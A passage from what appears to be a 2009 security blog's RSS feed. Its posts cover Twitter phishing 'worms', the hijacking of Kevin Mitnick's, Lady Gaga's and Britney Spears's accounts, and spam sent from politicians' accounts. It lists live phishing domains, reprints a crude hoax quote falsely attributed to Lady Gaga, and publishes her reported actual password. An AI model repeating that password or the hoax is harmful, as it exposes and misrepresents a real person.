<p>Critical services such as DNS, BGP Routers, and any service that can single-handedly take down your entire company should be protected by two-factor authentication.  Looking at Dyn&#8217;s login page on the website, it appears the service uses standard username and password authentication without support for two-factor authentication, something we would suggest that they change or at least offer at cost to larger clients.</p>

<p>But the real crime, as youngluck noted on TechCrunch: <i>&#8220;Actually, the sad thing here is that an “army” with enough sophistication to take down Twitter, could have a graphic design department that could suck this bad.&#8221;</i></p>

<p>We&#8217;ll update the post if Twitter uncharacteristically provides more information about what happened.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/">Newsweek Reports Zombie Invasion</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/going-after-bp/">Going After BP</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/congressional-web-site-defacements-follow-the-state-of-the-union/">Congressional Web Site Defacements Follow the State of the Union</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/umm-techcrunch-defacement-two-in-24-hours/">Umm&#8230;TechCrunch? Defacement Two in 24 Hours</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/techcrunched-techcrunch-the-victim-of-a-defacement/">TechCrunched &#8211; TechCrunch the Victim of a Defacement</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/12/we-shall-strike-if-the-leader-orders-twitter-struck-by-iranian-cyber-army/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>“Hi. This you?? LOL” Twitter Attack Snares Kevin Mitnick</title>
		<link>http://praetorianprefect.com/archives/2009/11/%e2%80%9chi-this-you-lol%e2%80%9d-twitter-attack-snares-kevin-mitnick/</link>
		<comments>http://praetorianprefect.com/archives/2009/11/%e2%80%9chi-this-you-lol%e2%80%9d-twitter-attack-snares-kevin-mitnick/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 16:16:33 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[mitnick]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1811</guid>
		<description><![CDATA[Historically the “Is this you?” style Twitter attack seems to be seeded by either an original break in to the victim’s Twitter account, or that user having provided his or her credentials to a phishing style web site made to look like Twitter as the attack propagates through the popular micro-blogging service. This time around however, the <a href="http://www.twitter.com/KevinMitnick">account</a> of security consultant and former cracker Kevin Mitnick was caught up in this generic, untargeted Twitter “worm”.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/Mitnick_Color_bigger.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/Mitnick_Color_bigger.jpg" alt="Mitnick_Color_bigger" title="Mitnick_Color_bigger" width="73" height="73" class="alignleft size-full wp-image-1814" /></a>Historically the “Is this you?” style Twitter attack seems to be seeded by either an original break in to the victim’s Twitter account, or that user having provided his or her credentials to a phishing style web site made to look like Twitter as the attack propagates through the popular micro-blogging service. This time around however, the <a href="http://www.twitter.com/KevinMitnick">account</a> of security consultant and former cracker Kevin Mitnick was caught up in this generic, untargeted Twitter “worm”.</p>

<div id="attachment_1835" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/mitnick_twitter.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/mitnick_twitter-300x39.png" alt="The @KevinMitnick twitter account message linking to a phishing site." title="mitnick_twitter" width="300" height="39" class="size-medium wp-image-1835" /></a><p class="wp-caption-text">The @KevinMitnick tweet linking to a phishing site.</p></div>

<h3>This Attack</h3>

<p>TweetMixx contains 889 references to this URL and the same message, so Kevin’s account wasn’t the only one the bad actors used to spam Twitter accounts. The URL referenced http://pduda.mobi/adgga is a shortened URL which appears to lead to: http://albums.twitter.placement-selection.com, a spoofed Twitter authentication page. The .mobi extension is a top level domain for mobile sites.</p>

<p>This scam appears to also have been perpetuated with messages of:</p>

<ul>
<li>“I think I found ur high school photo <spam link>”</li>
<li>“My friend shoed me you on here:”</li>
<li>“hi, I want to see if you will score higher on this iq test. take it here&#8221;</li>
<li>“see if your iq is higher than mine. Take the iq quiz&#8221;</li>
</ul>

<p>These tweets have appeared all over Twitter in the last week of November. This second scam sometimes includes a link with the same sub-domain structure as the one above (twitter is spelled wrong in the sub-domain), but with a different second-level domain (sarrispromo.com). Both domains lead directly to the Twitter login page with the extra “>” brace character we have seen before.</p>

<div id="attachment_1812" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/twitter_phishing.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/twitter_phishing-300x155.jpg" alt="Spoofed Twitter login page." title="twitter_phishing" width="300" height="155" class="size-medium wp-image-1812" /></a><p class="wp-caption-text">Spoofed Twitter login page.</p></div>
<br />
But this attack is doing something interesting, it is including a “via @username” before the spam message in some cases. This could represent going to the next level of social engineering by not only having the spam message come from a user account you are linked to, but also claiming essentially to be a retweet (the use of via is used in Twitter messages to attribute a piece of information) of another trusted sources information. Alternatively it could be a method for avoiding the web site display resulting from Twitter’s new handling of the classic method for retweets (RT @Username: message) which many users have objected to.
<br /><br />
Both domains are hosted on the same IP address, IP geolocation shows this to be hosted in Hebei, China. Both reference the web site contact lixing688@gmail.com which has been seen in <a href="http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/">earlier Twitter attacks</a>.</p>

<h3>The History That is Mitnick</h3>

<p>Mitnick is often cited as the Frank Abagnale (the famous check counterfeiter featured in ‘Catch Me If You Can’) of computer security, but the actual history of Kevin Mitnick is an unmitigated mess. He is well known in computer security circles as a former cracker turned security consultant and author, which is where the Abagnale comparison comes into play.  He is acknowledged for the most part as being an expert in social engineering and for successful phone phreaking exploits. In 1988 he was convicted and sentenced to 12 months in prison after breaking into and copying software from Digital Equipment Corporation (DEC). After release he cracked into voice mail computers of Pacific Bell, a warrant was issued for this arrest, and he fled all the while continuing cracking into systems.  Among his confirmed criminal acts are cracking into the systems of Motorola, NEC, Nokia, Sun Microsystems, and Fujitsu Siemens, the aforementioned crack into DEC systems to look at VMS source code, gaining admin access on a Computer Learning Center IBM minicomputer, and using the Los Angeles bus transfer system to get free rides as a kid.</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/Mugshot.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/Mugshot.jpg" alt="Mugshot" title="Mugshot" width="289" height="289" class="alignleft size-full wp-image-1815" /></a></p>

<p>After a <a href="http://www.justice.gov/criminal/cybercrime/mitnick.htm">highly publicized pursuit</a>, Mitnick was taken into custody by the FBI in Raleigh, NC in 1995 and in 1999 as part of a plea agreement confessed to four counts of wire fraud, two counts of computer fraud, and one count of illegal interception of a wire communication. He received 46 months plus an additional 22 months for violating the terms of his 1989 supervised release. Four and a half years of his sentence was served pre-trial (right to a speedy trail?) with eight months in solitary confinement due to unreasonable projections of his capabilities by law enforcement, including the oft repeated: could &#8220;start a nuclear war by whistling into a telephone.&#8221;</p>

<p>On January 1st, 2000 he was released and subsequently founded <a href="http://mitnicksecurity.com">Mitnick Security Consulting LLC</a>. He has written two books, The <em>Art of Deception</em> and <em>The Art of Intrusion</em> and contributed to the 2009 release of <em>Unauthorized Access</em> written with Wil Allsopp.</p>

<p><div id="attachment_1813" class="wp-caption alignright" style="width: 215px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/Hacker_Tsutomu-Shimomura.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/Hacker_Tsutomu-Shimomura-205x300.jpg" alt="Controversial author and Mitnick sleuth Tsutomu Shimomura." title="Hacker_Tsutomu Shimomura" width="205" height="300" class="size-medium wp-image-1813" /></a><p class="wp-caption-text">Controversial author and Mitnick sleuth Tsutomu Shimomura.</p></div>

<p>Past the accepted facts, the story becomes murky. We are left to rely on the story of Mitnick himself, the FBI, a highly controversial book by John Markoff (NY Times journalist) and Tsutomu Shimomura called <em><a href="http://www.amazon.com/Takedown-Pursuit-Americas-Computer-Outlaw/dp/0786889136">Take-Down</a></em> and a follow up book by author Jonathan Littman, <em><a href="http://www.amazon.com/Fugitive-Game-Online-Kevin-Mitnick/dp/0316528692">The Fugitive Game: Online with Kevin Mitnick</a></em>, which seeks to debunk as fiction much of what is presented in <em>Takedown</em>.  The FBI acknowledges the <a href="http://www.justice.gov/opa/pr/Pre_96/February95/89.txt.html">involvement of Shimomura in a very limited way</a>, but the inconsistencies in his book have made it problematic to believe much of his story.</p>

<p>Markoff also wrote <em><a href="http://www.amazon.com/CYBERPUNK-Outlaws-Hackers-Computer-Frontier/dp/0684818620">Cyberpunk</a></em>, which tells the stories of Mitnick and others, but has been criticized for not actually interviewing the still living subjects about their exploits. Mitnick himself has largely been under a gag order that ran until January 29th, 2007, the next month he announced he was writing an autobiography which has yet to be released (expected Spring 2010).</p>

<h3>Not a First Timer</h3>

<p>Mitnick has been a victim of crackers before, although in those cases it was targeted attacks. Most recently in July of 2009 on the eve of the Black Hat Conference, his web site was defaced with gay pornography and the message &#8220;all aboard the mantrain”. Think train to get an understanding of the image displayed.  The group Zero for 0wned (zf0) <a href="http://r00tsecurity.org/files/zf05.txt">published details of their exploits</a> against Mitnick as well as other security professionals along with commentary:</p>

<pre><code>Kevin has become the media rep for the hacker community, something which he has grown further and 
further apart from ever since his release. Without John Markoff's sensationalist reporting Kevin Mitnick 
would not have the notoriety that allows him to earn his money providing keynotes at conferences all over 
the world. Kevin is polluting the media with bullshit. Whilst we understand that owning him is something 
which has been done many, many times, we felt that not presenting his insecurity publicly would be wrong. 
Since 2003 this has been done three times of note and Kevin has used his enormously powerful SOCIAL 
ENGINEERING techniques to escape with an unharmed repuation each time. The fact is that he cannot 
secure his systems because he does not know how.
</code></pre>

<p>From <a href="http://r00tsecurity.org/files/zf05.txt">Summer of Hax</a>, July 28th, 2009 by zf0.</p>

<h3>What does the Twitter compromise prove?</h3>

<p>Let’s assume Kevin is adept enough that he did not provide his credentials to a fake Twitter site. This also does not look like a targeted attack, rather it looks as though his account was caught up in a generic spamming attack against Twitter. What are we left with: a weak or easily guessable/brute forced password? Have bad actors figured out the CAPTCHA mechanism in an efficient way for password brute forcing, or are they <a href="http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/">breaking in via the Twitter application program interface</a>? The Twitter API represents a delicate balancing act for Twitter, much of the popularity of their service is based on the ability of developers to release tools based on the API, it can not be left as a weak authentication path but it can not be overly onerous to use. Twitter engineers are faced then with an unenviable challenge.</p>

<p>This might demonstrate the pervasiveness of attacks on Twitter, as even security personalities are not immune to account hijack. It would depend largely on the attack vector, how were the credentials for Kevin’s account exposed, was his password of sufficient complexity? However if the password was of sufficient complexity, if credentials were not provided to a phishing web site, if the credentials are not the same used at another web site with weaker security controls, then there may be little to question to question the victim on.</p>

<p>Rather this juncture is again an excellent opportunity for Twitter to research their logs and start reporting to the world what they are actually seeing (failed password attempts, exploitation of alternate authentication paths with weaker controls, etc.). It is time to publish the ‘Twitter Security’ blog. Hiring a head of information security to write it would be a great first step (he or she could work on other things at Twitter while there).</p>

<p>But maybe this is summarized best as Adrian Lamo, the former grey hat hacker now journalist famed for his 2002 break in to the New York Times, <a href="http://twitter.com/6/status/6212600902">who stated</a> in relation to this compromise: “These things happen.”</p>

<h3>Updates:</h3>

<ul>
<li>Kevin Mitnick responds: <em>&#8220;Yup, I used a VERY simple password just as I do for junk accounts like latimes.com, etc. Now it&#8217;s just a little bit harder, but not much :-) &#8220;</em></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/">Persistent XSS on Twitter.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/not-the-haus-of-gaga-too/">Not the Haus of Gaga too</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/">Facebook’s Faith: A New Scareware Attack</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/">Breaking Twitter (authentication)</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/11/%e2%80%9chi-this-you-lol%e2%80%9d-twitter-attack-snares-kevin-mitnick/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Not the Haus of Gaga too</title>
		<link>http://praetorianprefect.com/archives/2009/11/not-the-haus-of-gaga-too/</link>
		<comments>http://praetorianprefect.com/archives/2009/11/not-the-haus-of-gaga-too/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 08:20:58 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[brute forcing]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1723</guid>
		<description><![CDATA[Around 9pm EST on Monday the Twitter account of pop singer Lady Gaga, <a href="http://www.twitter.com/ladygaga">@ladygaga</a> was cracked in to and a series of messages added to her tweet stream. This is the second high profile Twitter account to be cracked in the last few days, on Friday the account of pop singer Britney Spears, @BritneySpears, started professing sympathy for the devil. The Lady Gaga one is interesting though, because like an homage to old school cracks of the past, the attackers appear to have left their name. Further these are two high profile accounts broken into after Twitter has implemented at least three major changes to their web site's authentication process.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/lady_gaga_hacked.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/lady_gaga_hacked-150x150.jpg" alt="lady_gaga_hacked" title="lady_gaga_hacked" width="150" height="150" class="alignleft size-thumbnail wp-image-1734" /></a>Around 9pm EST on Monday the Twitter account of pop singer Lady Gaga, <a href="http://www.twitter.com/ladygaga">@ladygaga</a> was cracked in to and a series of messages added to her tweet stream. This is the second high profile Twitter account to be cracked in the last few days, on Friday the account of pop singer Britney Spears, @BritneySpears, started professing sympathy for the devil. The Lady Gaga one is interesting though, because like an homage to old school cracks of the past, the attackers appear to have left their name. Further these are two high profile accounts broken into after Twitter has implemented at least three major changes to their web site&#8217;s authentication process.
<br /><br /><br />
Around 9pm users who follow @ladygaga started to get the following messages:</p>

<ul>
<li>&lt;3 &lt;3 &lt;3 @T3ETH NXT TIME REALNESS PIC A BETTER PASSWORD!!!! PVNKS UNITE!!!</li>
<li>&lt;3 LADY GAGA &#8211; NO HATE INTENDED!!!! CAN&#8217;T WAIT 4 THE MONSTER BALL!!!!</li>
<li>&#8230;butt LADY GAGA RULEZ THE WORLD!!!!! Warhol are you listening?!!</li>
<li>I swear my dick is not as big as T33TH’S!!!! POPWRLDSUCKZ!!! PUNX UNITE!!!! &lt;3</li>
<li>GAGA PEECE FOR LYFE!!!</li>
<li>Hay my babies!!! LOVE GAGA??? LOVE T33TH!!! http://www.myspace.com/teethdance</li>
</ul>

<p><div id="attachment_1747" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/ladygaga_hack.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/ladygaga_hack-300x203.jpg" alt="Strange tweets showing up in Lady Gaga&#039;s tweetstream." title="ladygaga_hack" width="300" height="203" class="size-medium wp-image-1747" /></a><p class="wp-caption-text">Strange tweets showing up in Lady Gaga's tweetstream.</p></div>
<br />
In this case it appears the cracker signed his or her or their work, referencing the Twitter account <a href="http://www.twitter.com/t3eth">@t3eth</a> and the <a href="http://www.myspace.com/teethdance">MySpace fan page: teethdance</a>.</p>

<p><div id="attachment_1733" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/173072.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/173072-300x200.jpg" alt="London band Teeth." title="173072" width="300" height="200" class="size-medium wp-image-1733" /></a><p class="wp-caption-text">London band Teeth.</p></div>
<br />
<div id="attachment_1776" class="wp-caption alignnone" style="width: 309px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/n35408829631_1342856_3278.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/n35408829631_1342856_3278-299x300.jpg" alt="The London band T3eth, suspected of hacking the account." title="n35408829631_1342856_3278" width="299" height="300" class="size-medium wp-image-1776" /></a><p class="wp-caption-text">The London band T3eth, suspected of hacking the account.</p></div>
<br />
The defacers appear to be members of the band Teeth: Ximon Tayki, Simon Whybray and Veronica So from the Dalston district in London, UK. This assumption is drawn on the fact that a link to their MySpace page was provided in one of the first tweets and they seem to reference the defacement <a href="http://twitter.com/T3ETH">in their tweets</a> responding to other Twitter users either congratulating them or giving them a hard time. All of this is circumstantial evidence, but the Twitter account is well established and has similar branding as the MySpace page. But of course someone could have done all this and just pointed back to the band.
<br /><br /></p>

<h3>Anonymous?</h3>

<p>The lone offensive tweet references the Internet hoax that suggested Lady Gaga was a hermaphrodite, perpetuated initially by the Youtube video below and a <a href="http://bossip.com/139759/chicks-with-dcks-is-lady-gaga-packing/">fake quote</a>:
<br /><br /></p>

<pre><code>It’s not something that I’m ashamed of, just isn’t something that I go around telling everyone. Yes. I 
have both male and female genitalia, but I consider myself a female. It’s just a little bit of a penis 
and really doesn’t interfere much with my life. The reason I haven’t talked about it is that it’s not a 
big deal to me. Like come on. It’s not like we all go around talking about our vags. I think this is
a great opportunity to make other multiple gendered people feel more comfortable with their bodies. 
I’m sexy, I’m hot. I have both a poon and a peener. Big f*cking deal. 
- Attributed to Lady Gaga
</code></pre>

<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/i23qGLw3H_Y&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/i23qGLw3H_Y&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>

<p>I only bother including the video, because it contains a reference to another famous Internet group: Anonymous. No conspiracy, its just amusing to see Guy Fawke in the beginning of the video hanging out with the Lady Gaga crowd.</p>

<p><div id="attachment_1752" class="wp-caption alignnone" style="width: 287px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/anonymous_gagacrowd.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/anonymous_gagacrowd-277x300.jpg" alt="Anonymous hanging out at the Lady Gaga concert." title="anonymous_gagacrowd" width="277" height="300" class="size-medium wp-image-1752" /></a><p class="wp-caption-text">Anonymous hanging out at the Lady Gaga concert.</p></div>
<br />
Anonymous is that loose affiliation of Internet denizens known for various hoaxes, blaming things on ripoff site eBaum&#8217;sWorld, and probably most famously Project Chanology a protest against the Church of Scientology. The members are also known for wearing Guy Fawkes masks:</p>

<p><div id="attachment_1724" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/Anonymous_Scientology_9_by_David_Shankbone.JPG"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/Anonymous_Scientology_9_by_David_Shankbone-300x225.jpg" alt="Members of Anonymous protesting scientology." title="Anonymous_Scientology_9_by_David_Shankbone" width="300" height="225" class="size-medium wp-image-1724" /></a><p class="wp-caption-text">Members of Anonymous protesting scientology.</p></div>
<br /></p>

<h3>Britney</h3>

<p>On Friday, Britney Spears appeared to be letting us in on a previously unknown penchant for devil worship:</p>

<p><div id="attachment_1735" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/11/spears_hacked.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/spears_hacked-300x158.jpg" alt="The appearance of the Britney Spears Twitter account on Friday." title="spears_hacked" width="300" height="158" class="size-medium wp-image-1735" /></a><p class="wp-caption-text">The appearance of the Britney Spears Twitter account on Friday.</p></div>
<br />
As an aside, the Britney Spears Twitter account <a href="http://www.twitter.com/BritneySpears">@BritneySpears</a> like the @ladygaga account is listed by Twitter as a <i>Verified Account</i> a service offered by Twitter for certain accounts of famous persons (politicians, actors/actresses, singers, athletes) that are at a high risk of impersonation on the micro-blogging service. This service was brought about in part because of a well publicized law suite by baseball manager Tony LaRussa, who went after Twitter for an account on their service that was pretending to be him.</p>

<h3>Why is this News?</h3>

<p>Celebrities having their Twitter accounts cracked doesn&#8217;t seem like a new problem, and indeed Britney did report herself dead via Twitter back on June 28th. But there is a difference, and that is that many of the openings for easily brute forcing the Twitter password via the web site have closed. Note I said easily, don&#8217;t spam the comments with speculation on how the account was compromised (unless its high quality speculation), we know quite well that Twitter is still far from security nirvana.</p>

<p>Twitter has been slowly closing loop holes in their authentication process over the course of this year. <a href="http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/">Back in September</a> we pointed out the reCAPTCHA implementation on login that shows up when you enter too many bad authentication attempts, a key difference in the process from when the rash of prominent account break-ins occurred earlier in the year (including the notable crack of a Twitter admin&#8217;s account). Twitter has more recently started to lock out accounts for an hour when they provide too many bad passwords (a lousy idea from a security perspective, but we&#8217;ll get into that some other time).</p>

<p>In <a href="http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/">Breaking Twitter</a> we showed how Twitter rate limits were not enforced as advertised in their API documentation, allowing brute force of passwords via the API. Well that hole has <em>somewhat</em> closed (we&#8217;ll touch on that in a future post as well).</p>

<p>Now in the Lady Gaga case, Teeth seems to be admitting that they successfully guessed the password, so fair enough for that one. What about the Britney case? Because what was once a very obvious avenue of attack (point password brute forcing tool and click) has become a little less obvious. Maybe its someone in her entourage, or Kevin Federline?</p>

<p>PoPo Zao.</p>

<h3>Update</h3>

<ul>
<li>Lady Gaga had this to say today: <i>&#8220;Seems as though my twitter was hacked yesterday. I could be angry, except I secretly love how psychotically smart my fans are.&#8221;</i></li>
<li>It looks like Lady Gaga&#8217;s password was: JustDance1. Explains why it was easy to guess, that&#8217;s the title of one of her initial hit songs. Hopefully she doesn&#8217;t fall into the category of using the same password on every web site.</li>
</ul>

<h3>References</h3>

<ul>
<li><a href="http://dazeddigital.com/Music/article/5854/1/Gnash_Your_Teeth">Gnash Your Teeth</a></li>
<li><a href="http://earsucker.com/2009/11/16/lady-gagas-twitter-hacked/">Lady Gaga’s Twitter hacked?</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/">Persistent XSS on Twitter.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/%e2%80%9chi-this-you-lol%e2%80%9d-twitter-attack-snares-kevin-mitnick/">“Hi. This you?? LOL” Twitter Attack Snares Kevin Mitnick</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/">Facebook’s Faith: A New Scareware Attack</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/">Breaking Twitter (authentication)</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/11/not-the-haus-of-gaga-too/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Sir, the floor wishes to hear no more about your colon.</title>
		<link>http://praetorianprefect.com/archives/2009/10/sir-the-floor-wishes-to-hear-no-more-about-your-colon/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/sir-the-floor-wishes-to-hear-no-more-about-your-colon/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 23:22:16 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Phishing]]></category>
		<category><![CDATA[twishing]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1340</guid>
		<description><![CDATA[The <a href="http://praetorianprefect.com/archives/2009/10/a-twitter-worms-brilliant-variation/">Twitter worm/twishing attack of the other day</a> has caught some interesting casualties in its net, most notably <a href="http://www.marcorubio.com/">Marco Rubio</a> a former Speaker of the Florida House of Representatives and a viable candidate for one of Florida's Senate seats in 2010 and <a href="http://www.zachwamp.com/">Zach Wamp</a>, a candidate for Governor of Tennessee and a 14 year U.S. congressional representative.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/senatefloor.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/senatefloor-150x150.jpg" alt="senatefloor" title="senatefloor" width="150" height="150" class="alignleft size-thumbnail wp-image-1358" /></a>The <a href="http://praetorianprefect.com/archives/2009/10/a-twitter-worms-brilliant-variation/">Twitter worm/twishing attack of the other day</a> has caught some interesting casualties in its net, most notably <a href="http://www.marcorubio.com/">Marco Rubio</a> a former Speaker of the Florida House of Representatives and a viable candidate for one of Florida&#8217;s Senate seats in 2010 and <a href="http://www.zachwamp.com/">Zach Wamp</a>, a candidate for Governor of Tennessee and a 14 year U.S. congressional representative.</p>

<p>The <a href="http://www.twitter.com/marcorubio">@marcorubio</a> twitter account announced <i>&#8220;lol it&#8217;s amazing. look and feel great with http://cleansefats.com.&#8221;</i> on Wednesday. The campaign spokesman Alex Burgos stated that the account password was quickly changed and they are still investigating what happened. The Twitter worm from Wednesday is known to <a href="http://praetorianprefect.com/archives/2009/10/a-twitter-worms-brilliant-variation/">create a phishing style web site</a> to capture Twitter credentials, however there has been no admission from the campaign that anyone fell for this method. It is also not clear that the attack isn&#8217;t also seeded by breaking into someone&#8217;s Twitter account, a vector still fairly wide open as we detailed in <i><a href="http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/">Breaking Twitter</a></i>. Finally there is the possibility that the &#8220;Hi, this you on here&#8221; and this attack are separate.  Twitter is usually pretty light on details of their analysis (assuming there is an analysis) of these attacks after the fact.</p>

<p><div id="attachment_1341" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/rubio_tweet.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/rubio_tweet-300x169.jpg" alt="Senate Candidate Rubio discusses colon cleanser." title="rubio_tweet" width="300" height="169" class="size-medium wp-image-1341" /></a><p class="wp-caption-text">Senate Candidate Rubio discusses colon cleanser.</p></div>
<br />
To his credit, candidate Rubio handled the whole incident pretty well:
<br /><br /></p>

<pre><code>I got hacked selling something?Could be worse. They could have written Go Noles or Go Jets as if it was 
coming from me!
9:43 AM Oct 29th from Echofon 
</code></pre>

<p>Meanwhile Congressman Wamp&#8217;s account <a href="http://twitter.com/zachwamp">@zachwamp</a> sent out direct messages or DM&#8217;s to his followers reading: <i>&#8220;hi. this works. i feel better and look great. http://bdgdfij.info.&#8221;</i>. This URL also leads to a site about colon cleansing.</p>

<p>Congressman Wamp warned his followers about the DM&#8217;s with the following tweet:</p>

<pre><code>Disregard any direct message you get from my acct, we got spammed. Go to http://zachwamp.com to 
see my real vision for a healthy Tennessee!
12:25 PM Oct 29th from web 
</code></pre>

<p>It is unclear at this time whether members of government are targeted because their Twitter followers are in specific need of colon cleansing products and therefore more susceptible to such advertising. Constipation may explain some of the angrier political discourse in the nation of the last six months or so.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/10/a-twitter-worms-brilliant-variation/">A twitter &#8220;worm&#8217;s&#8221; brilliant variation</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/operation-phish-phry/">Operation Phish Phry</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/">ROFL this you on here? The latest Twitter Worm</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/sir-the-floor-wishes-to-hear-no-more-about-your-colon/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A twitter &#8220;worm&#8217;s&#8221; brilliant variation</title>
		<link>http://praetorianprefect.com/archives/2009/10/a-twitter-worms-brilliant-variation/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/a-twitter-worms-brilliant-variation/#comments</comments>
		<pubDate>Wed, 28 Oct 2009 21:55:03 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Phishing]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[money mule]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1285</guid>
		<description><![CDATA[A new twitter worm is being reported making the rounds this morning, which is actually an expertly crafted variant of the worm we reported <a href="http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/">back on September 24th</a>. The variant has changed the direct message from "ROFL, this you on here?" to "hi. this you on here?". The bad actor in China has also used a new URL, but with the same Twitter login landing page identifiable by its stray HTML brace ">" following the line under 'Sign in to Twitter'. This important difference in wording should allow for a spate of new captured twitter credentials.]]></description>
